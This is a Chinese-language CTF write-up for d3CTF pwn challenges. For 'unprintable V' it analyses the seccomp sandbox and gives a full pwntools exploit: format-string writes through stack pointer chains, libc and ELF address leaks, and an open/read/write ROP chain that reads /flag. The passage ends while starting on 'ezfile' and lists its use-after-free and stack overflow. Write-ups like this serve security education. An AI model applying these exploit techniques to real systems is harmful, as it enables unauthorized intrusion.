d3CTF pwn writeup
unprintable V
这个题目开了沙箱保护,那么我们可以用seccomp-tools来观察一下:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
可以看出程序是不能Getshell的,我们自然想到为了拿到flag需要做orw。
同时也可以看下开了什么样的保护:
[*] '/home/sh/practice/D3/unprintableV'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found //除了这个都开了
NX: NX enabled
PIE: PIE enabled
程序逻辑很简单,看下两个主要函数menu和vuln:
void __cdecl menu()
{
char *a; // [rsp+8h] [rbp-8h]
a = buf;
puts("welcome to d^3CTF!");
printf("here is my gift: %p\n", &a);
puts("may you enjoy my printf test!");
close(1);
while ( strncmp(buf, "d^3CTF", 6uLL) && time )
vuln();
}
void __cdecl vuln()
{
read(0, buf, 0x12CuLL);
printf(buf, buf);
--time;
}
程序关闭了标准输出流,同时可以知道当输入d^3CTF的时候程序会终止运行。
由于终端的输出被关闭了,所以调式的时候会十分困难,但是我们本地调式的时候可以把close(1)给nop掉,方便我们调试,不过gdb直接看栈里面的情况也是可以的。
格式化字符串不在栈上
此时我们需要找出一串栈上的指针来实现能够确定偏移的任意写。
正好有两个,那么我们就能利用printf把stdout指针的内容改变,指向_IO_2_1_stderr_,如此我们就可以实现屏幕上的内容打印,进而得到libc和elf的基地址,那么我们就可以构造rop在bss段,然后通过修改main函数返回地址使得最后一次返回到bss段,然后rop实现orw就可以了,不难就是麻烦,我写的exp不好,先知上写的很好的一个,我给拷贝下来了。
EXP
from pwn import *
context.arch='amd64'
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host,port=10397):
global p
if host:
p = remote(host,port)
else:
p = process("./unprintableV")
# p = process("./pwn",env={"LD_PRELOAD":"./x64_libc.so.6"})
# gdb.attach(p)
debug(0x000000000000A20)
p.recvuntil("gift: ")
stack = int(p.recvuntil('\n',drop=True),16)
info("stack : " + hex(stack))
p.recvuntil("printf test!")
payload = "%{}c%6$hhn".format(stack&0xff)
p.send(payload)
pause()
payload = "%{}c%10$hhn".format(0x20)
p.send(payload)
pause()
payload = "%{}c%9$hn".format(0x1680)
p.send(payload)
pause()
payload = "+%p-%3$p*"
p.send(payload.ljust(0x12c,"\x00"))
p.recvuntil('+')
elf_base = int(p.recvuntil('-',drop=True),16)+0x10
info("elf : " + hex(elf_base))
libc.address = int(p.recvuntil('*',drop=True),16)-0x110081
success('libc : '+hex(libc.address))
pause()
ret_addr = stack-0x20
payload = "%{}c%12$hn".format((stack-0x18)&0xffff)
p.send(payload.ljust(0x12c,"\x00"))
# offset = 43
payload = "%{}c%43$hn".format((elf_base)&0xffff)
p.send(payload.ljust(0x12c,"\x00"))
payload = "%{}c%12$hn".format((stack-0x18+2)&0xffff)
p.send(payload.ljust(0x12c,"\x00"))
# offset = 43
payload = "%{}c%43$hn".format((elf_base>>16)&0xffff)
p.send(payload.ljust(0x12c,"\x00"))
payload = "%{}c%12$hn".format((stack-0x18+4)&0xffff)
p.send(payload.ljust(0x12c,"\x00"))
# offset = 43
payload = "%{}c%43$hn".format((elf_base>>32)&0xffff)
p.send(payload.ljust(0x12c,"\x00"))
payload = "%{}c%12$hn".format(ret_addr&0xffff)
p.send(payload.ljust(0x12c,"\x00"))
# 0x0000000000000bbd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
payload = "%{}c%43$hn".format((elf_base-0x202070+0xbbd)&0xffff)
payload = payload.ljust(0x20,"\x00")
payload += "/flag"+'\x00'*3
# 0x00000000000a17e0: pop rdi; ret;
# 0x0000000000023e6a: pop rsi; ret;
# 0x00000000001306d9: pop rdx; pop rsi; ret;
p_rdi = libc.address+0x00000000000a17e0
p_rsi = libc.address+0x0000000000023e6a
p_rdx_rsi = libc.address+0x00000000001306d9
rop = p64(p_rdi)+p64(elf_base+0x10)+p64(p_rsi)+p64(0)+p64(libc.symbols["open"])
rop += p64(p_rdi)+p64(1)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["read"])
rop += p64(p_rdi)+p64(2)+p64(p_rdx_rsi)+p64(0x100)+p64(elf_base-0x70+0x300)+p64(libc.symbols["write"])
payload += rop
p.send(payload)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
# libc = ELF("./x64_libc.so.6",checksec=False)
# elf = ELF("./unprintableV",checksec=False)
main(args['REMOTE'])
知识点
rop链构造:可以利用libc里面的函数配合参数,不一定非要写系统调用或者shellcode,有了libc里面的函数支持,orw写起来挺简单的。
格式化不在栈上:我们就通过找指针链来实现任意写,只要注意偏移一定要确定就可以了。
ezfile
保护除了canary其他都开了,直接分析:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
可以看出还是个读flag的题目。
同时程序几乎全部弃用了printf和puts之类的输出函数,完美的防止了IO_file攻击,同时数据结构为一个数组存ptr一个数组用来标记堆块是否建立成功。
漏洞利用
- free的时候没有把指针置NULL,存在UAF
- 在进行堆块内容加密的时候存在栈溢出